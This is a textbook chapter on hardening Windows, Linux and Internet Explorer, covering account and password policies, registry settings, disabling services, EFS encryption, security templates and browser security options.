Protecting the system's perimeters and subnets via firewalls, proxy servers (or NAT-enabled machines), intrusion-detection systems, honeypots, and other devices is only one part of securing a network. Even installing antivirus software and anti-spyware does not complete a network's security. To achieve a more secure network, you must perform operating system hardening. This is the process of properly configuring each machine, and especially servers, for the optimum security settings. The word *optimum* rather than *maximum* is used for a reason. Maximum security is also the least usable. Optimum security strikes a balance between ease of use and security.

In this chapter you will learn how to properly configure Windows 7, Windows 8/8.1, Windows 10, Linux, and various web browsers. Securely configuring the operating system and its software is a critical step in system security that is frequently ignored. Even relatively naive security administrators often think of installing a firewall or antivirus software, but many fail to harden the individual machines against attacks. Discovering the presence of vulnerabilities allows you to close "open" ports and further restrict "input/output" operations. All of these techniques and procedures are in the overarching area of Risk Management Systems

and Information Assurance.

It should be noted that application security is just as important as operating system security. However, there are so many different applications that it is impossible to address secure configuration here, other than to say that you should consult the application documentation and ensure it is securely configured and stays patched/updated. Secure programming is also an important topic, but a completely separate topic outside the scope of this book.

CONFIGURING WINDOWS PROPERLY

Properly configuring Windows (with a focus on Windows 7, 8, and 10) consists of many facets. You must disable unnecessary services, properly configure the registry, enable the firewall, properly configure the browser, and more. Chapter 4, “Firewall Practical Applications,” discussed the Internet connection firewall and the processes of both stateful packet inspection and stateless packet inspection, and a later section of this chapter discusses browser security. For now, let’s go over the other important factors in Windows security configuration.

**FYI: What About
Windows Server?**

Throughout this chapter the examples use Windows 7, 8, and 10. You might wonder whether these issues apply to Windows Server (2008, 2012, and 2016). First and foremost, Windows 10 is the desktop operating system currently supported by Microsoft; Windows 2016 is the current server version. We include Windows 7 because many businesses are still using it.

The second reason for not discussing Windows Server 2016 is that from an operating system hardening perspective, it is virtually identical to Windows 10. Thus most of the recommendations in this chapter will also apply to Windows Server (2008, 2012, or 2016). It is also the case that Microsoft ships its server versions already more securely configured than the desktop versions.

Accounts, Users, Groups, and Passwords

Any Windows system comes with certain default user accounts and groups. These can frequently be a starting point for intruders who want to crack passwords for those accounts and thereby gain entrance onto a server or network. Simply renaming or disabling some of these default accounts can improve your security.

Not

Windows has a tendency to move things in the control panel with each version. Your version (7, 8, 8.1, 10, etc.) might have things in a different location. If you have not already done so, I suggest you pause and take some time to familiarize yourself with the location of utilities in your version of Windows.

In Windows 7 or Windows 8 you find user accounts by going to Start, Settings, Control Panel, Users and Groups. In Windows 10 go to Start, Settings, and Accounts. Figure 8-1 shows a screen similar to the one you will see.




FIGURE 8-1 Users and Groups

Select the Advanced tab, which takes you to the screen shown in [Figure 8-2](#). Click the Advanced button, which opens the screen shown in [Figure 8-3](#).




FIGURE 8-2 Manage users and passwords from this dialog box




FIGURE 8-3 Alter, disable, or add accounts in the Local Users and Groups dialog box

From here you can alter, disable, or add accounts. The following paragraphs demonstrate how to use this utility to adjust various default accounts.

The Windows 10 Accounts screen is shown in [Figure 8-4](#). From here, you can add accounts, delete accounts, or change accounts.




FIGURE 8-4 Accounts in Windows 10

Administrator Accounts

The default administrator account has administrative privileges, and hackers frequently seek to obtain the logon information for an administrator account. Guessing a logon is a two-fold process of first identifying the username, and then the password. Default accounts allow the hacker to bypass the first half of this process.

Administrators should disable this account. If you double-click on any account (recall the Users and Groups utility previously shown in [Figure 8-3](#)) you will see a screen much like that shown in [Figure 8-5](#). From here you can disable the default administrator account.




FIGURE 8-5 Disabling the default administrator account

Obviously, having an account with administrative privileges is necessary for maintaining your server. The next step is adding a new account, one with an innocuous name (for example, temp_clerk, receptionist, etc.), and giving that account administrative privileges. Doing so makes a hacker's task more difficult, as he must first ascertain what account actually has administrative privileges before he can even attempt to compromise that account.

Some experts suggest simply renaming the administrator account, or using an administrator account that has a username that indicates its purpose. That is not the recommendation of this book for the following reasons:

- The whole point is that a hacker should not be able to readily tell which username has administrative privileges.
- Simply renaming the administrator account to a different name, but one that still indicates its administrative rights, will not help this situation.

Other Accounts

We have concentrated on the administrator account because it is the one most often targeted by hackers, but Windows also includes other default user accounts. Applying an equally rigorous treatment to all default accounts is a good idea. Any default account can be a gateway for a hacker to compromise a system. A few accounts that you should pay particular attention to include:

- **IUSR_Machine name:** When you are running IIS, a default user account is created for IIS. Its name is IUSR_ and the name of your machine. This is a common account for a hacker to attempt to compromise. Altering this one in the manner suggested for the administrator account is advisable.
- **ASP.NET:** If your machine is running ASP.NET, a default account is created for web applications. A hacker that is familiar with .NET could target this account.
- **Database accounts:** Many relational database management systems, such as SQL Server, create default user accounts. An intruder, particularly one who wants to get at your data, could target these accounts.

FYI: Alternatives to Disabling the Administrative Account

Another secure option is to leave the default administrator account enabled, but to change it from being a member of the administrator's group to being a very restricted user account. You must then make sure that none of your administrators use this account. At this point you can simply monitor server logs for attempts to log on to this account. Repeated attempts in a short period of time could mean someone is attempting to breach your system's security.

Leaving the administrator account enabled with significantly reduced access and monitoring any attempts to use that account provides you with a virtual trap for hackers.

Of course, you must have accounts for all of these and other services. The suggestion here is to ensure that the names of these accounts are not obvious and that default accounts are not used.

When adding any new account, always give the new account's user or group the least number and type of privileges needed to perform their job, even accounts for IT staff members. Here are a few examples of places to restrict user access/privileges that you might not think

of:

- A PC technician does not need administrative rights on the database server. Even though she is in the IT department, she does not need access to everything in that department.
- Managers may use applications that reside on a web server, but they certainly should not have rights on that server.
- Just because a programmer develops applications that run on a server does not mean that he should have full rights on that server.
- Perhaps this might be another position to reinforce the procedures of RBAC (Role Based Access Control), DAC (Discretionary Access Control), and MAC (Mandatory Access Control).

These are just a few examples of things to consider when setting up user rights. Remember: Always give the least access necessary for that person to do her job. This concept is often termed *least privileges*, and is a cornerstone of security.

Setting Security Policies

Setting appropriate security policies is the next step in hardening a Windows server. This does not refer to written policies an organization might have regarding security standards and procedures. In this case the term security policies refers to the individual machines' policies. When you select Start, Settings, Control Panel, Administrative Tools, you will also note the Local Security Policy. Double-clicking this and selecting Account Policies takes you to the screen shown in [Figure 8-6](#). The various subfolders in the dialog box shown in [Figure 8-6](#) are expanded. Normally when you open this utility they will not be. Note that in Windows 10 you can access this same screen by going to the Run menu and typing `gpedit` (this is the Local Group Policy Editor utility).




FIGURE 8-6 Local security policies

The first matter of concern is setting secure password policies. The default settings for Windows passwords are not secure. [Table 8-1](#) shows the default password policies. Maximum password age refers to how long a password is effective before the user is forced to change that password. Enforce password history refers to how many previous passwords the system remembers, thus preventing the user from reusing passwords. Minimum password length defines the minimum number of characters allowed in a password. Password complexity

means that the user must use a password that combines numbers, letters, and other characters. These are the default security settings for all Windows versions from Windows NT 4.0 forward. If your system is protected within a business environment, the settings at Local Security will be grayed out, indicating you do not have permissions to make changes.

TABLE 8-1 Default Windows Password Policies

Policy	Recommendation
Enforce password history	1 password remembered
Maximum password age	42 days
Minimum password age	0 days
Minimum password length	0 characters
Passwords must meet complexity requirements	Disabled
Store password using reversible encryption for all users in the domain	Disabled

The default password policies are not secure enough, but what policies should you use instead? Different experts answer that question differently. Table 8-2

shows the recommendations of Microsoft, the National Security Agency, and the author's personal recommendations (along with an explanation when they differ significantly from the Microsoft or NSA recommendations).

TABLE 8-2 Password Setting Recommendations

Policy	Microsoft	NSA	Author
Enforce password history	3 passwords	5 passwords	3 passwords
Maximum password age	42 days	42 days	60 days
Minimum password age	2 days	2 days	2 days
Minimum password length	8 characters	12 characters	A minimum of 12 characters. Longer passwords, in fact pass phrases, are best.
Passwords must meet complexity requirements	No recommendation (left to user discretion)	Yes	Yes

Store password using reversible encryption for all users in the domain	No recommendation (left to user discretion)	No recommendation	No recommendation (left to user discretion)

Developing appropriate password policies depends largely on the requirements of your network environment. If your network stores and processes highly sensitive data and is an attractive target to hackers, you must always skew your policies and settings toward greater security. However, bear in mind that if security measures are too complex, your users will find complying difficult. For example, very long, complex passwords (such as \$%Tbx38T@_FgR\$\$) make your network quite secure, but such passwords are virtually impossible for users to remember. Many users will simply write the password on a note and keep it in a handy but insecure location, such as the top drawer of their desks, a major security problem.

Account Lockout Policies

When you open the Local Security Settings dialog, your options are not limited to setting password policies. You can also set *account lockout policies*. These policies determine how many times a user can attempt to log in before being locked out, and for how long to lock them out. The default Windows settings are shown in [Table 8-3](#).

These default policies are not secure. Essentially they allow for an infinite number of log-in attempts, making the use of password crackers very easy and virtually guaranteeing that someone will eventually crack one or more passwords and gain access to your system. [Table 8-4](#) provides the recommendations from Microsoft, National Security Agency, and the author.

TABLE 8-3 Windows Default Account Lockout Policy Settings

Policy	Default Settings
Account lockout duration	Not defined
Account lockout threshold	0 invalid logon attempts
Reset account lockout counter after	Not defined

TABLE 8-4 Recommended Account Lockout Policies

Policy	Microsoft	NSA	Author
Account lockout duration	0, indefinite	15 hours	48 hours. If someone is attempting to crack passwords on weekends/holidays, you want the account locked until an administrator is aware of the attempt.
Account lockout threshold	5 attempts	3 attempts	3 attempts
Reset account after	15 minutes	30 minutes	30 minutes

FYI: More Guidelines

Guidelines for Windows Security are available on the following websites. These guidelines apply to all versions of Windows.

- National Security Agency:
<https://www.iad.gov/iad/library/ia-guidance/security-configuration/index.cfm>
- Microsoft Guidelines:
<https://technet.microsoft.com/en-us/library/cc184906.aspx>

Some of the links in this chapter are rather long because they take you directly to the item in question. You can always go to the root domain (such as www.microsoft.com) and search for the item in question.

All of these sites provide other perspectives on securing a Windows client or server.

Other Issues

Some account and password issues cannot be handled with computer settings. These involve setting organizational policies regarding user and administrator behavior. Chapter 11, “Security Policies,” discusses such organizational policies in greater depth. For now, simply consider this basic list of the most important organizational security policies:

- Users must never write down passwords.
- Users must never share passwords.
- Administrators must use the least required access rule. That means most users should not have administrative privileges even on their own desktops.

FYI: Registry Settings

Incorrect editing of your registry can render parts of your operating system unusable. It can even keep your machine from booting at all. Being careful when you make any changes to the registry and documenting such changes are important. If you are new to registry manipulation it is recommended that you use a lab machine that does not contain any critical data or applications. Misconfiguring the registry so severely that the entire operating system must be reinstalled is possible.

Registry Settings

Secure registry settings are critical to securing a network. Unfortunately, my experience has been that this area is often overlooked by otherwise secure practices. One thing to keep in mind is that if you don't know what you are doing in the registry, you can cause serious problems. So, if you are not very comfortable with the registry, don't touch it. Even if you are comfortable making registry changes, always back up the registry before any change.

The Windows Registry is a database used to store settings and options for Microsoft Windows operating systems. This database contains critical information and settings for all the hardware, software, users, and

preferences on a particular computer. Whenever users are added, software is installed, or any other change is made to the system (including security policies), that information is stored in the registry.

Registry Basics

The physical files that make up the registry are stored differently depending on which version of Windows you are using. Older versions of Windows (that is, Windows 95 and 98) kept the registry in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT. In all versions of Windows since XP, the physical files that make up the registry are stored in %SystemRoot%\System32\Config. Since Windows 8, the file has been named ntuser.dat. Regardless of the version of Windows you are using, you cannot edit the registry directly by opening and editing these files. Instead you must use a tool, regedit.exe, to make any changes. There are newer tools like regedit32. However, many users find that the older *regedit* has a more user friendly “find” option for searching the registry. Either one will work.

Although the registry is referred to as a “database,” it does not actually have a relational database structure (like a table in MS SQL Server or Oracle). The registry has a hierarchical structure similar to the directory

structure on the hard disk. In fact, when you use regedit, you will note it is organized like Windows Explorer. To view the registry, go to Start, Run, and type `regedit`. You should see the Registry Editor dialog box, shown in [Figure 8-7](#). Some of the folders in your dialog box might be expanded. If so, simply collapse them so that your registry looks like the one shown in [Figure 8-7](#).




FIGURE 8-7 The Windows Registry hive

Your Registry Editor dialog box will likely have the same

five main folders as the one shown in Figure 8-7. Each of these main branches of the registry is briefly described in the following list. These five main folders are the core registry folders. A system might have additions, but these are the primary folders containing information necessary for your system to run.

- **HKEY_CLASSES_ROOT:** This branch contains all of your file association types, OLE information, and shortcut data.
- **HKEY_CURRENT_USER:** This branch links to the section of HKEY_USERS appropriate for the user currently logged on to the PC.
- **HKEY_LOCAL_MACHINE:** This branch contains computer-specific information about the type of hardware, software, and other preferences on a given PC.
- **HKEY_USERS:** This branch contains individual preferences for each user of the computer.
- **HKEY_CURRENT_CONFIG:** This branch links to the section of HKEY_LOCAL_MACHINE appropriate for the current hardware configuration.

If you expand a branch, you will see its subfolders. Many of these have, in turn, more subfolders, possibly as many as four or more before you get to a specific

entry. A specific entry in the Windows Registry is referred to as a key. A key is an entry that contains settings for some particular aspect of your system. If you alter the registry, you are actually changing the settings of particular keys.

This is just a brief overview of the registry. If you intend to do more extensive work with the registry than setting the proper security, you can use the following sources:

■ 50 Best Windows Registry Hacks:

<https://www.howtogeek.com/howto/37920/the-50-best-registry-hacks-that-make-windows-better/>

■ Windows Registry Tips:

<http://techtweek.com/windows/all-important-windows-registry-tips-and-tweaks>

■ Microsoft's Windows Registry support page:

<https://support.microsoft.com/en-us/help/256986/windows-registry-information-for-advanced-users>

FYI: Secure Registry Settings

Remember that the Windows Registry controls everything about Windows. Therefore, to truly secure Windows, you must configure the registry securely. Unfortunately, the registry's default settings are not

secure. This section describes how to apply secure registry settings on your machines. Chapter 12, “Assessing System Security,” provides more information about secure registry settings in the section on assessing a system. There you will learn about software products available online that notify you of any insecure registry settings on your machine. These tools are sold by third-party vendors and are not part of Windows.

Keep in mind that registry settings can change in different versions of Windows, so it is possible that you might not find one or more of the following settings, or they might be in a slightly different location. To find and check your registry settings for any of these keys, simply expand the appropriate node and work your way down to the specific key. For example, the first one on our list is

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer.

You could first expand the LOCAL_MACHINE node, then the SYSTEM node, then the CurrentControlSet node, then the Services node. You should then be able to find the specific registry key you are looking for; in this example, we found LanmanServer. The same process can be applied to find any key; the LanmanServer key was randomly chosen for this example.

Restrict Null Session Access

Null sessions are a significant weakness that can be exploited through the various shares that are on the computer. A null session is Windows' way of designating anonymous connections. Any time you allow anonymous connections to any server, you are inviting significant security risks. Modify null session access to shares on the computer by adding RestrictNullSessAccess, a registry value that toggles null session shares on or off to determine whether the Server service restricts access to clients logged on to the system account without username and password authentication. Setting the value to 1 restricts null session access for unauthenticated users to all server pipes and shares except those listed in the NullSessionPipes and NullSessionShares entries.

Key Path:

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer

Action: Ensure that it is set to: Value = 1

Restrict Null Session Access Over Named Pipes

The null session access over named pipes registry setting should be changed for much the same reason as the preceding null session registry setting. Restricting such access helps prevent unauthorized access over the network. To restrict null session access over named pipes and shared directories, edit the registry and delete the values, as shown in [Table 8-5](#).

Key Path:

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer

Action: Delete all values

TABLE 8-5 TCP/IP Stack Registry Settings

Key Path	Recommended Value
DisableIPSourceRouting	2
EnableDeadGWDetect	0
EnableICMPRedirect	0
EnablePMTUDiscovery	0
EnableSecurityFilters	1

KeepAliveTime	300,000
NoNameReleaseOnDemand	1
PerformRouterDiscovery	0
SynAttackProtect	2
TcpMaxConnectResponseRetransmissions	2
TcpMaxConnectRetransmissions	3
TCPMaxPortsExhausted	5

Restrict Anonymous Access

The anonymous access registry setting allows anonymous users to list domain user names and enumerate share names. It should be shut off. The possible settings for this key are:

- 0—Allow anonymous users
- 1—Restrict anonymous users
- 2—Allow users with explicit anonymous permissions

Key Path:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa

Action: Set Value = 2

No

All keys are found in this path:
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip.

TCP/IP Stack Settings

A number of registry settings affect how the TCP/IP stack handles incoming packets. Setting these properly can help reduce your vulnerability to DoS attacks. This process, *stack tweaking*, is described in Chapter 2, “Types of Attacks.” Because these settings are all related and are found in the same key path, they are shown together in Table 8-5.

As Table 8-5 shows, most of these settings prevent the redirection of packets, change the timeout on connections, and generally alter how Windows handles TCP/IP connections. You can find more details about Microsoft’s recommendations for setting the TCP/IP stack registry settings at its website: <https://msdn.microsoft.com/en-us/library/ff648853.aspx>.

FYI: Default Shares

The Windows operating system opens default shared

folders on each installation for use by the system account. Because they are default shares, they are identical for all Windows machines, with identical permissions. These default shares can be used by a skilled hacker as a starting point for intruding upon your machine. You can disable the default Administrative shares two ways:

- 1.** Stop or disable the Server service, which removes the ability to share folders on your computer. (However, you can still access shared folders on other computers.)
- 2.** Edit the registry.

To change the default share folders setting in the registry, go to HKEY_Local_Machine\SYSTEM\CurrentControlSet\Services\LanmanServer. For servers, edit AutoShareServer with a value of 0. For workstations, edit the key AutoShareWks. If for some reason, your Windows Registry does not have it, just add it: <https://social.technet.microsoft.com/Forums/windows/en-US/c9d6b1c2-1059-4a8a-a6bd-56cc34104faa/disable-administrator-share?forum=w7itpronetworking>.

For more information on default shares or to view security advisories about them, consult the following websites:

- www.cert.org/historical/advisories/CA-2003-

Remote Access to the Registry

Remote access to the registry is another potential opening for hackers. The Windows XP registry editing tools support remote access by default, but only administrators should have remote access to the registry. Fortunately, later versions of Windows turned this off by default. In fact some experts advise that there should be no remote access to the registry for any person. This point is certainly debatable. If your administrators frequently need to remotely alter registry settings, then completely blocking remote access to them will cause a reduction in productivity of those administrators. However, completely blocking remote access to the registry is certainly more secure. To restrict network access to the registry:

1. Add the following key to the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secur
2. Select winreg, click the Security menu, and then click Permissions.
3. Set the Administrator's permission to Full Control, make sure no other users or groups are listed, and

then click OK.

Recommended Value = 0

Other Registry Settings

Adjusting the previously discussed registry settings will help you avoid some of the most common security flaws in the default Windows Registry settings and will certainly increase the security of any server. However, for maximum security an administrator must take the time to carefully study the Windows Registry for any additional areas that can be made more secure. A few of the additional settings you might want to look into include:

- Restricting anonymous access to the registry
- NTLMv2 Security (affects security of passwords being sent to the server)
- KeepAlive (affects how long to keep a connection active)
- SynAttackProtect (protects against a very specific type of SYN attack)

Services

A service is a program that runs without direct intervention by the computer user. In Unix/Linux environments, these are referred to as daemons. Many items on your computer are run as services. Internet Information Services, FTP Service, and many system services are good examples. Any running service is a potential starting point for a hacker. Obviously, you must have some services running for your computer to perform its required functions. However, there are services your machine does not use. If you are not using a service, it should be shut down.

FYI: Don't Know—Don't Touch

You should be cautious when shutting down services so that you do not inadvertently shut down a service that you need. Always check with your operating system documentation. The rule of thumb is that if you are not sure, do not touch it.

Shutting Down a Service in Windows

Shutting down a service in Windows is relatively easy. In our example we will shut down the FTP service on a machine that does not require FTP.

Go to Start, select Settings, and choose Control Panel. Double-click Administrative Tools, and then double-click Services. You should see the Services dialog box, which looks similar to the one shown in Figure 8-8.




FIGURE 8-8 Services

The Services dialog box shows all services installed on your machine, whether they are running or not. Notice that the dialog box also displays information about whether a service is running, whether it starts up automatically, and so forth. In Windows 7 and beyond,

more information can be seen by selecting an individual service. When you double-click on an individual service, you see a dialog box similar to [Figure 8-8](#), which gives you detailed information about the service and enables you to change the service's settings. In [Figure 8-9](#), we are examining the FTP service on a machine that does not require it.




FIGURE 8-9 FTP services

FYI: Dependencies

We are going to turn off the FTP service; but before you ever turn off any service, click on the Dependencies tab to see whether other services depend on the one you are about to shut off. If other services depend on that service, you will then be causing them to malfunction by shutting it down.

In this particular case there are no other dependencies, so you can go to the General tab and do two things: Change the Startup type option to Disabled, and then click the Stop button. When you're done, the screen will show the status as disabled. The service is now shut down.

Shutting down unneeded services is an essential and very basic part of hardening an operating system. Every running service is a possible avenue for a hacker or a virus to get to your machine, so the rule for services is: If you don't need it, shut it down. Chapter 12 discusses utilities that scan systems for vulnerabilities. Many of these utilities will point out running services and open ports.

Starting and stopping services from the command

prompt is also possible. Many administrators prefer command prompts because it is often faster than going through several layers of the Windows graphical user interface. The syntax is quite simple:

```
net start servicename
```

or

```
net stop servicename
```

For example:

```
net stop messenger  
net start messenger
```

FYI: Erroneous Information on Net Stop

When writing this book I actually found more than one website that stated that you could not start or stop a service from the command prompt. This is inaccurate, but has somehow become somewhat of an urban legend among some Windows users. The following documentation from Microsoft's own website confirms that you can indeed start and stop a

service from the command prompt:

https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/learning-the-net-start-command/02dfe674-d1e9-4a6d-9d75-f7896a5462f6

Port Filtering and Firewalls in Windows

Chapters 4 and 5 discuss the Windows Firewall. Turning on the Windows port filters is a basic part of operating system hardening. The instructions for doing this have been previously given in Chapters 4 and 5 and will be explored again in exercises at the end of this chapter.

Encrypting File System

Beginning with Windows 2000, the Windows operating system has offered the Encrypting File System (EFS), which is based on public key encryption and takes advantage of the CryptoAPI architecture in Windows 2000. This still exists in Windows 7, 8, and 10; however, with the later versions of Windows, EFS is only available in the upper-end editions of Windows such as Windows Professional. With this system, each file is encrypted using a randomly generated file encryption key, which is independent of a user's public/private key pair; this method makes the encryption resistant to many forms of cryptanalysis-based attacks. For our purposes the exact details of how EFS encryption works are not as important as the practical aspects of using it.

User Interaction

The default configuration of EFS enables users to start encrypting files with no administrator effort. EFS automatically generates a public key pair and file encryption certificate for file encryption the first time a user encrypts a file.

File encryption and decryption is supported per file or for an entire folder. Folder encryption is transparently

enforced. All files and folders created in a folder marked for encryption are automatically encrypted. Each file has a unique file encryption key, making it safe to rename. If you move a file from an encrypted folder to an unencrypted folder on the same volume, the file remains encrypted. However, if you copy an unencrypted file into an encrypted folder, the file state will change. The file becomes encrypted. Command-line tools and administrative interfaces are provided for advanced users and recovery agents.

FYI: What If a User Leaves?

Users might encrypt a file and then be unavailable to decrypt it. They might become unavailable due to leaving the company, illness, or other reasons. Fortunately, EFS does give administrators a method by which they can recover the encryption key used to encrypt files, and thereby decrypt them. EFS allows recovery agents to configure public keys that are used to recover encrypted data if a user leaves the company. Only the file encryption key is available using the recovery key, not a user's private key. This ensures that no other private information is revealed to the recovery agent.

The best thing about EFS is that it is virtually transparent to the user. You don't have to decrypt a

file to open it and use it. EFS automatically detects an encrypted file and locates a user's file encryption key from the system's key store. However, if the file is moved from the originating computer to another computer, a user trying to open it will find it is encrypted. The following steps will allow you to encrypt any file you want:

1. Locate the file or folder you want to encrypt (using either Windows Explorer or My Computer/This PC). Right-click on that file and select Properties. The Properties dialog box, similar to the one shown in Figure 8-10, appears.




FIGURE 8-10 File properties

2. Click on the Advanced button to access an option that you can check to encrypt the file, as shown in [Figure 8-11](#).



FIGURE 8-11 Encrypting a file

3. Click Encrypt Contents to Secure Data.

After you have done this, your file or folder is now encrypted. As long as the same user on the same machine opens the file, it will be decrypted automatically. A hacker who transfers the file to his or her own system (or an employee attempting industrial espionage, who takes the file home on a disk) will find it is encrypted. Because EFS is built

into Windows, costs nothing extra, and is so easy to use, it is difficult to find any reason not to use it. If you want more details, the following websites should be helpful to you:

- ServerWatch review of EFS:

www.serverwatch.com/tutorials/article.php/2106831

- A utility for retrieving EFS encryption keys:

www.lostpassword.com/efs.htm

FYI: EFS in Windows Server

Encrypting File System was introduced in Windows 2000. However, it was continued in Windows 8, 8.1, and 10 as well as Windows Server 2008, Server 2012, and Server 2016.

Security Templates

We have been discussing a number of ways for making a Windows system more secure, but exploring services, password settings, registry keys, and other tools can be a daunting task for the administrator who is new to security. Applying such settings to a host of machines can be a tedious task for even the most experienced administrator. The best way to simplify this aspect of operating system hardening is to use security templates. A security template contains hundreds of possible settings that can control a single or multiple computers. Security templates can control areas such as user rights, permissions, and password policies, and they enable administrators to deploy these settings centrally by means of Group Policy Objects (GPOs).

Security templates can be customized to include almost any security setting on a target computer. A number of security templates are built into Windows. These templates are categorized for domain controllers, servers, and workstations. These security templates have default settings designed by Microsoft. All of these templates are located in the `C:\Windows\Security\Templates` folder. The following is a partial list of the security templates that you will find in this folder:

- **Hisecdc.inf:** This template is designed to increase the security and communications with domain controllers.
- **Hisecws.inf:** This template is designed to increase security and communications for client computers and member servers.
- **Securedc.inf:** This template is designed to increase the security and communications with domain controllers, but not to the level of the High Security DC security template.
- **Securews.inf:** This template is designed to increase security and communications for client computers and member servers.
- **Setup security.inf:** This template is designed to reapply the default security settings of a freshly installed computer. It can also be used to return a system that has been misconfigured to the default configuration.

Installing security templates simplifies network security for the administrator. You will have the opportunity to walk through the process of installing a security template in one of the end-of-chapter exercises.

CONFIGURING LINUX PROPERLY

An in-depth review of Linux security would be a lengthy task indeed. One reason is the diversity of Linux setups. Users could be using Debian, Red Hat, Ubuntu, or other Linux distributions. Some might be working from the shell, while others work from some graphical user interfaces such as KDE or GNOME (for Windows users not familiar with Linux you might want to consult my book *Moving from Windows to Linux*). Fortunately, many of the same security concepts that apply to Windows can be applied to Linux. The only differences lie in the implementation, as explained in the following list:

- User and account policies should be set up the same in Linux as they are in Windows, with only a few minor differences. These differences are more a matter of using different names in Linux than in Windows. For example, Linux does not have an administrator account; it has a root account.
- All services (called daemons in Linux) not in use should be shut down.
- The browser must be configured securely.
- You must routinely patch the operating system.

In addition to these tactics that are common to

Windows and Linux, a few approaches are different for the two operating systems:

- No application should run as the root user unless absolutely necessary. Remember that the root user is equivalent to the administrator account in Windows. Also remember that all applications in Linux run as if started by a particular user, and therefore having an application run as root user would give it all administrative privileges.
- The root password must be complex and must be changed frequently. This is the same as with Windows administrator passwords.
- Disable all console-equivalent access for regular users. This means blocking access to programs such as shutdown, reboot, and halt for regular users on your server. To do this, run the following command:
`[root@kapil /]# rm -f /etc/security/console.apps/<servicename>`,
where *<servicename>* is the name of the program to which you want to disable console-equivalent access.
- Hide your system information. When you log in to a Linux box, it displays by default the Linux distribution name, version, kernel version, and the name of the server. This information can be a

starting point for intruders. You should just prompt users with a “Login:” prompt.

To do this, edit the `/etc/rc.d/rc.local` file and place `#` in front of the following lines, as shown:

[Click here to view code image](#)

```
# This will overwrite /etc/issue at every boot. So, r
# want to make to /etc/issue here or you will lose th
#echo "" > /etc/issue
#echo "$R" >> /etc/issue
#echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/
#
#cp -f /etc/issue /etc/issue.net
#echo >> /etc/issue
Remove the following files: "issue.net" and "issue" u
[root@kapil /]# rm -f /etc/issue
[root@kapil /]# rm -f /etc/issue.net
```

In general, security concepts apply regardless of operating system. However, truly hardening any operating system requires a certain level of expertise with that particular operating system.

The following websites provide information useful for helping you secure your Linux server:

- **Linux Security Administrators Guide:**
www.linuxsecurity.com/docs/SecurityAdminGuide/SecurityAdminGui
- **Linux.com:** www.linux.com/

FYI: Patch Conflicts

A patch could possibly conflict with some software or settings on your system. To avoid these conflicts, you should first apply patches to a test machine to ensure no conflicts exist before you apply them to production machines.

PATCHING THE OPERATING SYSTEM

From time to time, security flaws are found in operating systems. As software vendors become aware of flaws, they usually write corrections to their code, known as patches or updates. Whatever operating system you use, you must apply these patches as a matter of routine. Windows patches are probably the most well-known, but patches can be released for any operating system. You should patch your system any time a critical patch is released. You might consider scheduling a specific time simply to update patches. Some organizations find that updating once per quarter or even once per month is necessary.

For Windows you can go to www.microsoft.com. On the left-hand side you should notice a link that says Update Windows. If you click on it, you can scan your machine for missing patches and download them from the website. Red Hat offers a similar service for Red Hat

Linux users. On the website www.redhat.com/security/, users can scan for updates.

CONFIGURING BROWSERS

Most computers, including corporate workstations, are used to access the Internet. This means that proper browser configuration is absolutely essential for hardening a system. The Internet is probably the single greatest threat to an individual system or a corporate network. Safe use of the Internet is critical. This section describes how to set Internet Explorer for safe Internet use.

Securing Browser Settings for Microsoft Internet Explorer

Some experts claim that Internet Explorer simply is not a secure browser. We won't spend time engaging in the Internet Explorer versus Chrome versus Mozilla debate. And Microsoft has since introduced the Edge Browser, though many users still use Internet Explorer. Because many people use Internet Explorer, you must understand how to make it as secure as possible.

- 1.** Open Microsoft Internet Explorer.
- 2.** Select Tools on the menu bar, and then select

Internet Options. A screen like the one shown in [Figure 8-12](#) appears.



FIGURE 8-12 Internet Explorer options

The Internet Options window includes a Privacy tab and a Security tab. We will discuss both of these tabs and the settings you should select.

Privacy Settings

With spyware a growing problem, privacy settings are as important to operating system hardening as security settings. Clicking on the Advanced button allows you to alter how your browser handles cookies. Unfortunately, surfing the web without accepting some cookies is difficult. The following settings are recommended:

- Block third-party cookies
- Prompt for first-party cookies
- Always allow session cookies

These settings will help you avoid some of the problems associated with cookies. You might also want to click the Edit button and set up the browser to allow cookies from certain sites and to never allow cookies from others.

Security Settings

Security settings are more complex than privacy settings, and there are many more security options to select. You can simply choose the default levels of low, medium, high in your browser, but most security-conscious administrators use the Custom button to set up security specific to their organization. When you select Custom, a dialog box like the one shown in Figure 8-13 appears. We will not discuss every single setting, but will explain many of the more important ones.




FIGURE 8-13 Internet Explorer custom security settings

As you can see, many different settings are available for you to work with. [Table 8-6](#) summarizes the most important ones and the recommended settings for each.

TABLE 8-6 Internet Explorer Custom Security Settings

Setting	Purpose	Recommendation

Run components not signed with Authenticode	Allows unsigned software components to execute on your system.	At a minimum set this to prompt you, but consider disabling it altogether.
Run components signed with Authenticode	Allows signed software components to execute on your system.	Prompt.
Download Signed ActiveX	Allows ActiveX components that are signed to be downloaded automatically to your system.	Prompt.
Download Unsigned ActiveX	Allows ActiveX components that are not signed to be automatically downloaded to your system.	Prompt. You might think disable, but many Flash animations are not signed, and if you simply disable you will not be able to see those.
Initialize and script ActiveX controls not marked as safe	Allows ActiveX components to run scripts.	Disable is recommended, but at least prompt.
Script	Allows those ActiveX	Prompt.

ActiveX controls marked safe	components to run scripts.	
Downloads (font, file, etc.)	Downloads files, fonts, etc. that a Web page needs.	Prompt.
Java permissions	This setting simply allows you to determine what a Java applet can or cannot do on your system. Java applets can be a vehicle for malicious code, but all applets need to perform some actions on your system.	High safety.
All others	This is the catchall for miscellaneous non-critical items that don't fit in elsewhere. These various settings are not as critical to safety as the ones previously discussed.	You can always have prompts if you do not want to outright disable something. In most cases simply disabling all settings will render some websites unviewable, so for practical purposes the "prompt before..." setting is preferred.

Because the web is often the weakest part in an

organization's security, having secure browser settings is critical to operating system security and to network security in general.

Other Browsers

